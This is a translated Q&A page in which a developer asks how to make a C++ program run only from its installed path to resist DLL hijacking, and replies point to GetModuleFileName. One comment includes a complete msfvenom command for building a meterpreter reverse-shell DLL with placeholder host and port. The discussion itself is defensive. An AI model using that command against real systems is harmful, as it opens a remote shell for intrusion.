如何使特定程序仅从安装路径运行以避免 DLL 劫持

Posted

技术标签:

【中文标题】如何使特定程序仅从安装路径运行以避免 DLL 劫持【英文标题】:How to make a specific program run from the installed path only to avoid DLL hijacking 【发布时间】:2018-09-18 08:45:45 【问题描述】:

我有一个与一些 dll 文件链接的可执行文件。为了避免 DLL 劫持,我将该应用程序安装在受保护的路径(例如 C:\Program Files)中,只有管理员拥有“创建”或“写入”权限。

仍有一些攻击者可以将整个安装文件夹复制到其他目录,并能够编写具有相同名称的写入函数来执行恶意行为,例如删除文件或修改注册表设置。 .DLL 文件将以与正在运行的应用程序相同的权限运行。

我需要验证我的应用程序是否仅从安装的路径运行..我怎样才能使用 C++ ..

【问题讨论】:

GetModuleFileName()。 EXE 可以检索它正在运行的路径,然后根据需要对其进行验证 当用户自己可以做恶意的事情时,为什么还要麻烦呢?这似乎是一个无法解决的问题。 我遵循安全实践。我需要确保没有入侵者可以虚假注入任何 dll 并监控我的应用程序流量并将虚假数据发送到后端 @KethiriSundar 这对阻止将 DLL 注入您的进程、劫持您自己的 DLL、删除文件或修改注册表设置没有任何作用。等等,您是在缓解恶意用户还是恶意软件?回复:恶意用户,您永远不能相信客户端发送到服务器的内容。必须在服务器上强制执行安全性,期间。 @tenfour 实际上如果我将 DLL 放在受限目录中,恶意用户将无法劫持我的 dll。我在服务器端也有安全执法。我们可以使用 metasploit 的 msfvenom 创建一个恶意 .DLL: msfvenom -p windows/meterpreter/reverse_tcp LHOST=[IP] LPORT=[PORT/8800] -f dll > [Path/"/root/Desktop/malicious.dll] 并创建监听器并监听流量。我有安全的消息传递算法并在服务器端进行验证。但他可以更改消息并在后端创建不希望的场景。 【参考方案1】:

查看GetModuleFileName 以检查模块的位置。

【讨论】:

以上是关于如何使特定程序仅从安装路径运行以避免 DLL 劫持的主要内容,如果未能解决你的问题,请参考以下文章

病毒劫持dll文件是啥意思?

如何能彻底删除应用程序DLL劫持病毒?

如何判断一个dll是不是可以被劫持

是否可以仅从特定路径验证会话?

DLL文件劫持应该怎么办 急啊

简单实现程序DLL劫持